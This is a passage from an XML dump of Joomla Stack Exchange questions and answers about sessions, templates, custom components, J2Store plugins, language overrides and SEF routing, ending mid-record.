  <row Id="26360" PostTypeId="2" ParentId="26359" CreationDate="2019-11-06T12:19:20.053" Score="7" Body="&lt;p&gt;No, it is not expected behavior that sessions for guests expire faster than sessions for admins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Front-end and back-end users all use the same Session Lifetime which you configure in Administrator &gt; System &gt; Global Configuration &gt; [System] tab &gt; Session Settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, Joomla's &lt;strong&gt;default edit forms&lt;/strong&gt; (e.g. Article Edit) &lt;strong&gt;have some code&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('behavior.keepalive');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;to keep a session alive&lt;/strong&gt; after the Session Lifetime expires. Otherwise you might lose the changes in your article if you haven't saved it before the Session Lifetime expires.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="12352" LastEditDate="2019-11-07T07:20:43.050" LastActivityDate="2019-11-07T07:20:43.050" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26361" PostTypeId="1" CreationDate="2019-11-07T05:12:30.467" Score="0" ViewCount="94" Body="&lt;p&gt;I am using protostar template for creating blog but on home page it show whole content of blog but we want short description of blog. we want to display blog as list view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have check on home page setting but i did not found anything for list view. also we need to display one image and title of blog.&#xA;like following image&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/U9cyn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/U9cyn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13894" LastActivityDate="2023-12-25T17:00:30.083" Title="how to make blog list view of protostar template joomla" Tags="|protostar|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26362" PostTypeId="2" ParentId="9544" CreationDate="2019-11-07T07:50:29.817" Score="1" Body="&lt;p&gt;There seem to be a couple of Joomla modules which allow you to search for text within the same page using JavaScript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if this is what you are looking for &lt;a href=&quot;https://jdev.l-it.co.za/products/in-page-search-term-highlighter&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://jdev.l-it.co.za/products/in-page-search-term-highlighter&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This module basically lets you search for content within the same page you are on, similar to the CTRL+F browser search feature. &lt;/p&gt;&#xA;" OwnerUserId="8948" LastActivityDate="2019-11-07T07:50:29.817" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26364" PostTypeId="2" ParentId="14087" CreationDate="2019-11-07T11:23:16.823" Score="0" Body="&lt;p&gt;Continuing from Dom's answer, if you are rendering a calendar using xml &lt;code&gt;JForm&lt;/code&gt; and &lt;code&gt;JFormField&lt;/code&gt;, you can write something like this, even though I couldn't find it in Joomla docs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;date&quot; type=&quot;calendar&quot; default=&quot;NOW&quot; label=&quot;COM_EXAMPLE_FORM_LBL_DATE&quot; &#xA;    description=&quot;COM_EXAMPLE_FORM_DESC_DATE&quot; hint=&quot;COM_EXAMPLE_FORM_LBL_DATE&quot;&#xA;    format=&quot;%Y-%m-%d %H:%M:%S&quot; showtime=&quot;true&quot; class=&quot;example_calendar form-control&quot;&#xA;    onchange=&quot;calendarValueChange(this)&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;onchange&lt;/code&gt;, you can pass the whole Calendar field using &lt;code&gt;this&lt;/code&gt; so that Javascript can use it, in case it is needed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function calendarValueChange(el) {&#xA;  // with jQuery&#xA;  if (!jQuery(el).val().length) {&#xA;    alert(&quot;Calendar value is empty!&quot;);&#xA;  }&#xA;  // without jQuery&#xA;  if (!el.value.length) {&#xA;    alert(&quot;Calendar value is empty!&quot;);&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="405" LastActivityDate="2019-11-07T11:23:16.823" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26366" PostTypeId="1" CreationDate="2019-11-07T11:41:21.873" Score="1" ViewCount="36" Body="&lt;p&gt;I've been trying to change the way my website works. Currently, I have a menu that displays categories, but now I want to also display subcategories in it. I know that I can display articles of that category, but can't seem to find an answer anywhere about subcategories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is for Joomla 3.9.2. Most of the answers or posts that I have found are for Joomla 1.2, which was back in 2011 (at least most of the posts are from that time). ex: &lt;a href=&quot;https://developer.joomla.org/joomlacode-archive/issue-29278.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.joomla.org/joomlacode-archive/issue-29278.html&lt;/a&gt; &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=673844&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?t=673844&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13897" LastEditorUserId="12352" LastEditDate="2019-11-07T21:59:52.703" LastActivityDate="2019-11-07T21:59:52.703" Title="Is there any way to put subcategories in a Joomla menu?" Tags="|articles|menu|front-end|subcategories|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26370" PostTypeId="1" AcceptedAnswerId="26372" CreationDate="2019-11-08T13:47:26.697" Score="1" ViewCount="168" Body="&lt;p&gt;In my Joomla component I have a bunch of Javascript files in &lt;code&gt;media&lt;/code&gt; that change on update ( basically a compiled Angular app ) and because of the way the system is structured, I need to only have the current files in the folder. However when I install my component as an update, it leaves the old files in the &lt;code&gt;media/com_mycomponent&lt;/code&gt; folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to clear out the old files during installation?&lt;/p&gt;&#xA;" OwnerUserId="9900" LastActivityDate="2019-11-09T02:33:11.657" Title="Is there a way to remove component media files on update?" Tags="|component|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26371" PostTypeId="1" AcceptedAnswerId="26373" CreationDate="2019-11-08T16:35:10.180" Score="0" ViewCount="48" Body="&lt;p&gt;I have a module that uses comAjax .  Default uses the standard way of calling:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'option' : 'com_ajax',&#xA;'module' : 'available_stock',&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine and in the module calls the relevant ajax function returning data to default.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my helper Ajax function I call a bunch of other functions to set up drop down boxes.  It's organised like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class modAvailableStockHelper{&#xA;public static function getAjax()&#xA;    {   &#xA;        function setUpDropDown1($id, $table, $inherit = true){&#xA;            }&#xA;        function setUpDropDown2($component, $view, $inherit = true){&#xA;            }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I set the page up initially I also need these drop down boxes.  so in mod_available_stock.php  I repeat these functions.  Obviously this causes code duplication and means if i update one function I need to update the other one.  This isn't a great way of doing things.  I'd like to be able to create the functions once and then use the either at the start up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the mod_available_stock.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$DropDown1 = modAvailableStockHelper::setUpDropDown1($id, $table, $inherit);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then in the getAjax()  also call the same function.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible.  I can only think of doing it by having a separate file with the functions in it and then including the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="12248" LastActivityDate="2019-11-09T02:42:24.523" Title="Module creation reusing functions" Tags="|module|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26372" PostTypeId="2" ParentId="26370" CreationDate="2019-11-09T02:33:11.657" Score="3" Body="&lt;p&gt;Create a installer script for your component (com_your_component_name/script.php) and add the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;class com_your_component_nameInstallerScript&#xA;{&#xA;  function update($parent) &#xA;  {&#xA;    JFile::delete($path.$file)&#xA;  } &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The installer script file allows you to run code when your component is installed, uninstalled, or updated, and also before and after the component is installed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_an_install-uninstall-update_script_file&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_an_install-uninstall-update_script_file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/How_to_use_the_filesystem_package&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_to_use_the_filesystem_package&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2019-11-09T02:33:11.657" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26373" PostTypeId="2" ParentId="26371" CreationDate="2019-11-09T02:35:09.643" Score="1" Body="&lt;p&gt;I think what you're looking for is &lt;code&gt;self&lt;/code&gt; which can allow your static methods to call other static methods.  Without any indication of state and db calls in your question it's difficult to tell what the various methods need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is uncommon to use global functions at all in Joomla, and 10 times as uncommon to declare functions in a method.  Do let me know if the following restructuring is inadequate.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class modAvailableStockHelper{&#xA;&#xA;    public static function getAjax()&#xA;    {   &#xA;        // some code&#xA;&#xA;        $x = self::setUpDropDown1($id, $table, $inherit);&#xA;&#xA;        $y = self::setUpDropDown2($id, $table, $inherit);&#xA;&#xA;&#xA;        // more code&#xA;        return $something;&#xA;&#xA;    }&#xA;&#xA;    public static function setUpDropDown1($id, $table, $inherit = true)&#xA;    {&#xA;        // code&#xA;        return $something;&#xA;    }&#xA;&#xA;    public static function setUpDropDown2($component, $view, $inherit = true)&#xA;    {&#xA;        // code&#xA;        return $something;        &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From outside the class you can still access the methods statically as long as the helper file has been included.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$dropdown1 = modAvailableStockHelper::setUpDropDown1($id, $table, $inherit);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="7374" LastEditDate="2019-11-09T02:42:24.523" LastActivityDate="2019-11-09T02:42:24.523" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26374" PostTypeId="1" CreationDate="2019-11-09T12:31:38.153" Score="0" ViewCount="138" Body="&lt;p&gt;I'm creating j2store app for calculating price based on product dimensions.&#xA;I'm using &lt;code&gt;GetPricingCalculators&lt;/code&gt; event to register my custom calculator like that:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function onJ2StoreGetPricingCalculators(&amp;amp;$calculators)&#xA;{&#xA;       require_once dirname(__FILE__). '/customcalculator.php';&#xA;       $calculators['custom'] = 'Custom';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My calculator class looks like that:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class CustomCalculator extends JObject&#xA;  {&#xA;     public function __construct($config = array())&#xA;     {&#xA;         parent::__construct ( $config );&#xA;     }&#xA;&#xA;     function calculate()&#xA;     {&#xA;         //just testing&#xA;         $pricing-&amp;gt;calculator = 'custom';&#xA;         return $pricing;&#xA;     }&#xA; }&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But then I try to set the calculator for a product it still remains unchanged (Standard). Maybe I'm missing something? What is the correct way of creating and registering pricing calculator?&lt;/p&gt;&#xA;" OwnerUserId="13903" LastEditorUserId="13903" LastEditDate="2019-11-09T12:37:16.023" LastActivityDate="2019-11-09T12:37:16.023" Title="Creating pricing calculator for J2Store" Tags="|j2store|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26375" PostTypeId="1" AcceptedAnswerId="26604" CreationDate="2019-11-09T17:49:47.820" Score="1" ViewCount="218" Body="&lt;p&gt;Could someone kindly help please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm creating a plugin and part of its job is to automatically add a 'Menu Class Suffix' to a chosen menu.  I know it can be done manually from the advanced tab of the menu module but I need the plugin to do it if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I add a value to 'class_sfx' in 'params' of the menu module in the database table __modules please?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{&quot;menutype&quot;:&quot;mainmenu&quot;,&quot;base&quot;:&quot;&quot;,&quot;startLevel&quot;:1,&quot;endLevel&quot;:0,&quot;showAllChildren&quot;:1,&quot;tag_id&quot;:&quot;&quot;,&lt;strong&gt;&quot;class_sfx&quot;:&quot;&quot;&lt;/strong&gt;,&quot;window_open&quot;:&quot;&quot;,&quot;layout&quot;:&quot;_:default&quot;,&quot;moduleclass_sfx&quot;:&quot;&quot;,&quot;cache&quot;:1,&quot;cache_time&quot;:900,&quot;cachemode&quot;:&quot;itemid&quot;,&quot;module_tag&quot;:&quot;div&quot;,&quot;bootstrap_size&quot;:&quot;0&quot;,&quot;header_tag&quot;:&quot;h3&quot;,&quot;header_class&quot;:&quot;&quot;,&quot;style&quot;:&quot;0&quot;}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;" OwnerUserId="13704" LastActivityDate="2020-01-03T08:23:13.500" Title="How to update database module params" Tags="|plugin|database|menu-parameters|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26376" PostTypeId="1" CreationDate="2019-11-10T17:47:59.387" Score="0" ViewCount="36" Body="&lt;p&gt;I have a part of code in my componenent which works in Joomla! 3.9.x, but in Joomla! 4.0-beta-dev i get a 503 error. My code is the following :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\Http\Http;&#xA;use Joomla\Http\Transport\Stream as StreamTransport;&#xA;&#xA;public function sendtostopforumspam()&#xA;{&#xA; $options = array();&#xA;&#xA; $transport = new StreamTransport($options);&#xA;&#xA; $http = new Http($options, $transport);&#xA;&#xA; $data = array('username' =&amp;gt; $username, 'ip_addr' =&amp;gt; $ip, 'email' =&amp;gt; $email, 'api_key' =&amp;gt; $key);&#xA;&#xA; $response = $http-&amp;gt;post('https://www.stopforumspam.com/add', $data);&#xA;&#xA; if ($response-&amp;gt;code == '200')&#xA; {&#xA;  // do something...&#xA; }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the response i can see an error 503&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are changes in Joomla! 4.0 which prevent that working ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks by advance&lt;/p&gt;&#xA;" OwnerUserId="1819" LastActivityDate="2019-11-10T17:47:59.387" Title="Changes into in Joomla\Http\Http in Joomla! 4.0?" Tags="|joomla-4|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26377" PostTypeId="1" CreationDate="2019-11-10T18:15:45.497" Score="0" ViewCount="66" Body="&lt;p&gt;After I have installed the Persian language in Joomla; now all English dates are changed to Persian dates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I have the Persian language and English dates?&lt;/p&gt;&#xA;" OwnerUserId="13905" LastEditorUserId="12352" LastEditDate="2019-11-10T20:09:01.967" LastActivityDate="2019-11-11T09:42:35.020" Title="How to set date format to English when using a non-English language?" Tags="|multilingual|date|format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26379" PostTypeId="1" CreationDate="2019-11-11T05:54:26.030" Score="0" ViewCount="14" Body="&lt;p&gt;I host multiple Joomla sites on a Single Google Computer Engine VM. It has been working very well, but after I performed a Joomla core update I suddenly found that those websites can't be accessed anymore. All websites show &quot;Error&quot; after inputting the domains in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my websites:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ajj-glass.com&lt;/li&gt;&#xA;&lt;li&gt;uber.ajj-glass.com&lt;/li&gt;&#xA;&lt;li&gt;business.ajj-glass.com&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Although I can't access the URL, I can connect the directory of websites with FTP and SSH client. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other information:&#xA;Joomla Version: 3.9.13;&#xA;Hosting: GCP VM;&#xA;Server: Ubuntu 18.04 with Apache2, MariaDB and PHP7.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me to diagnose and/or fix this problem?&lt;/p&gt;&#xA;" OwnerUserId="13907" LastEditorUserId="12352" LastEditDate="2019-11-11T07:39:30.973" LastActivityDate="2019-11-11T08:55:52.463" Title="Can't access websites hosted on GCP after updating joomla core" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26381" PostTypeId="2" ParentId="26377" CreationDate="2019-11-11T09:42:35.020" Score="1" Body="&lt;p&gt;You could &lt;strong&gt;create a language override&lt;/strong&gt; for the Persian language. The Joomla documentation shows you how to do that: &lt;a href=&quot;https://docs.joomla.org/J3.x:Language_Overrides_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Language_Overrides_in_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could copy the following English language strings from /language/en-GB/en-GB.ini to your Persian language override:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DATE_FORMAT_LC=&quot;l, d F Y&quot;&#xA;DATE_FORMAT_LC1=&quot;l, d F Y&quot;&#xA;DATE_FORMAT_LC2=&quot;l, d F Y H:i&quot;&#xA;DATE_FORMAT_LC3=&quot;d F Y&quot;&#xA;DATE_FORMAT_LC4=&quot;Y-m-d&quot;&#xA;DATE_FORMAT_LC5=&quot;Y-m-d H:i&quot;&#xA;DATE_FORMAT_LC6=&quot;Y-m-d H:i:s&quot;&#xA;DATE_FORMAT_JS1=&quot;y-m-d&quot;&#xA;DATE_FORMAT_CALENDAR_DATE=&quot;%Y-%m-%d&quot;&#xA;DATE_FORMAT_CALENDAR_DATETIME=&quot;%Y-%m-%d %H:%M:%S&quot;&#xA;DATE_FORMAT_FILTER_DATE=&quot;Y-m-d&quot;&#xA;DATE_FORMAT_FILTER_DATETIME=&quot;Y-m-d H:i:s&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2019-11-11T09:42:35.020" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26382" PostTypeId="1" AcceptedAnswerId="26398" CreationDate="2019-11-11T13:12:06.767" Score="1" ViewCount="282" Body="&lt;p&gt;I am having a simple component, basically a list view and a single view.&#xA;I want to nice URLs so I copy pasted and modified the router.php from com_content like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class BookstoreRouter extends JComponentRouterView&#xA;{&#xA;    public function __construct($app = null, $menu = null)&#xA;    {&#xA;        $books = new JComponentRouterViewconfiguration('books');&#xA;        $books-&amp;gt;setNestable();&#xA;        $this-&amp;gt;registerView($books);&#xA;&#xA;        $book = new JComponentRouterViewconfiguration('book');&#xA;        $book-&amp;gt;setKey('id')-&amp;gt;setParent($books);&#xA;        $this-&amp;gt;registerView($book);&#xA;&#xA;        parent::__construct($app, $menu);&#xA;&#xA;        $this-&amp;gt;attachRule(new JComponentRouterRulesMenu($this));&#xA;        $this-&amp;gt;attachRule(new JComponentRouterRulesStandard($this));&#xA;        $this-&amp;gt;attachRule(new JComponentRouterRulesNomenu($this));&#xA;    }&#xA;&#xA;    public function getBookSegment($id, $query)&#xA;    {&#xA;        if (!strpos($id, ':'))&#xA;        {&#xA;            $db = JFactory::getDbo();&#xA;            $dbquery = $db-&amp;gt;getQuery(true);&#xA;            $dbquery-&amp;gt;select($dbquery-&amp;gt;qn('alias'))&#xA;                -&amp;gt;from($dbquery-&amp;gt;qn('#__bookstore_books'))&#xA;                -&amp;gt;where('id = ' . $dbquery-&amp;gt;q($id));&#xA;            $db-&amp;gt;setQuery($dbquery);&#xA;&#xA;            $id .= ':' . $db-&amp;gt;loadResult();&#xA;        }&#xA;&#xA;        return array((int) $id =&amp;gt; $id);&#xA;    }&#xA;&#xA;    public function getBookId($segment, $query)&#xA;    {&#xA;       return (int) $segment;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There seem to be a couple of problems with this and I can not figure out what it is. The links generated in the list view seems fine but I get these errors:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;Warning: array_reverse() expects parameter 1 to be array, boolean given in /var/www/public/libraries/src/Component/Router/Rules/StandardRules.php on line 279&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I am not setting a key to the parent view but there is no key to use as far as I understand it. When setting some random key 'foo' the Warning disappears but that solution seems odd.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;When calling &lt;code&gt;host\{booklist-menu-alias}\{item-title}&lt;/code&gt; the list view is displayed instead of the single view.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any helpful advice is much appreciated, thanks.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Problem seems to be my parent has no Id of some kind so I am getting this Warning. I can route to the menu item, which is my list view. From there I have a dilemma. I can register the books view, resulting in my totally correct item links will not work. Or I can have only the book view registered and not have the links build in my books view at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did build a legacyrouter.php like the one com_content uses which works fine. But since it is marked as deprecate I really want to make it work with the JComponentRouterView.&lt;/p&gt;&#xA;" OwnerUserId="3680" LastEditorUserId="3680" LastEditDate="2019-11-14T09:23:37.783" LastActivityDate="2019-11-14T09:24:03.193" Title="use router.php in simple component" Tags="|joomla-3.x|custom-component|sef|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26383" PostTypeId="1" CreationDate="2019-11-11T14:20:46.137" Score="1" ViewCount="40" Body="&lt;p&gt;So I'm developing j2store plugin to calculate price for item based on product's width and height (these values are entered by the user). The form is rendered as following:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function onJ2StoreBeforeAddToCartButton($product)&#xA;    {&#xA;        $html = &quot;&quot;;&#xA;        if($product-&amp;gt;variants-&amp;gt;pricing_calculator === &quot;square&quot;){&#xA;            JFormHelper::addFormPath(__DIR__ . '/forms');&#xA;            $form = new JForm('dimmensions');&#xA;            $form-&amp;gt;loadFile('dimmensions');&#xA;            $width_field = $form-&amp;gt;getField('drobe_width');&#xA;            $heigth_field = $form-&amp;gt;getField('drobe_heigth');&#xA;&#xA;            $width_field-&amp;gt;__set('id', 'drobe_width_'. $product-&amp;gt;j2store_product_id);&#xA;            $heigth_field-&amp;gt;__set('id', 'drobe_heigth_'. $product-&amp;gt;j2store_product_id);&#xA;&#xA;            $width_field-&amp;gt;__set('onchange', &quot;doAjaxPrice($product-&amp;gt;j2store_product_id, '#add-to-cart-$product-&amp;gt;j2store_product_id')&quot;);&#xA;            $heigth_field-&amp;gt;__set('onchange', &quot;doAjaxPrice($product-&amp;gt;j2store_product_id, '#add-to-cart-$product-&amp;gt;j2store_product_id')&quot;);&#xA;&#xA;            $html .= $width_field-&amp;gt;renderField();&#xA;            $html .= $heigth_field-&amp;gt;renderField();&#xA;&#xA;            $js = &quot;&amp;lt;script type=\&quot;text/javascript\&quot;&amp;gt;&quot;;&#xA;            $js .= &quot;doAjaxPrice($product-&amp;gt;j2store_product_id, '#add-to-cart-$product-&amp;gt;j2store_product_id');&quot;;&#xA;            $js .= &quot;&amp;lt;/script&amp;gt;&quot;;&#xA;&#xA;            $html .= $js;&#xA;        }&#xA;&#xA;        return $html;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The price on the product page is calculated correctly (the calculator class can see width and height parameters passed by the user).&#xA;The problem is in the cart page. It is not getting these values, so I'm getting zeros in price. What is correct way of getting these values?&lt;/p&gt;&#xA;" OwnerUserId="9633" LastActivityDate="2019-11-11T14:20:46.137" Title="Getting user submitted product properties programmaticaly in j2store" Tags="|plugin|j2store|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26384" PostTypeId="2" ParentId="24787" CreationDate="2019-11-11T15:46:09.637" Score="0" Body="&lt;p&gt;It's not the Helix issue. This issue occurred for the Joomla. You should make the update the Joomla core files again. Thanks &lt;/p&gt;&#xA;" OwnerUserId="9511" LastActivityDate="2019-11-11T15:46:09.637" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26386" PostTypeId="2" ParentId="26382" CreationDate="2019-11-11T21:43:24.550" Score="1" Body="&lt;p&gt;I won't pretend to believe that this answer will completely resolve your problem, but I do see a couple things to be fixed up.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;if (!strpos($id, ':'))&lt;/code&gt; is not &lt;a href=&quot;https://stackoverflow.com/q/2396713/2943403&quot;&gt;advisable practice&lt;/a&gt; even if it does what you intend to do.  To check if a substring exists within a string you should be performing a strict boolean check on false (either &lt;code&gt;!==&lt;/code&gt; or &lt;code&gt;===&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (strpos($id, ':') === false)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You have typos in your query block. You have written &lt;code&gt;$dbquery-&amp;gt;qn()&lt;/code&gt; but &lt;code&gt;qn()&lt;/code&gt; must be chained to your database object, not your query object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$dbquery = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select($db-&amp;gt;qn('alias'))&#xA;    -&amp;gt;from($db-&amp;gt;qn('#__bookstore_books'))&#xA;    -&amp;gt;where('id = ' . $db-&amp;gt;q($id));&#xA;$db-&amp;gt;setQuery($dbquery);&#xA;&#xA;$id .= ':' . $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I think it is odd that you are casting the string key of your return array as an integer.  I don't know what is expected, but it seems like a strange choice.  (&lt;code&gt;return array((int) $id =&amp;gt; $id);&lt;/code&gt;)  &lt;s&gt;Based on Pe7er's note to look at &lt;a href=&quot;https://docs.joomla.org/J3.x:Supporting_SEF_URLs_in_your_component#A_more_complex_Example&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Supporting_SEF_URLs_in_your_component#A_more_complex_Example&lt;/a&gt;, I think you mean to return a value (not a key) which is converted to an integer.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return array('id' =&amp;gt; (int)$id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/s&gt;&#xA;...while the technique of casting the &lt;code&gt;$id&lt;/code&gt; as an integer will sufficiently trim the non-digital characters from your string, perhaps a more intuitive function call (to other developers who understand the function) might be something like  (&lt;a href=&quot;https://3v4l.org/1ljNP&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://3v4l.org/1ljNP&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return array(ltrim($id, 'a..z:') =&amp;gt; $id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or a more stable version that explicitly hunts for the colon:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return array(explode(':', $id)[1] =&amp;gt; $id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yes, these techniques will have more overhead (but not in a noticeable way; and yes there are other ways of doing the same, but I won't type them all out), but your script will be more informative about what it intends to do.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Please understand that this is a superficial code review and that I haven't had the time to research your issue in depth.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" 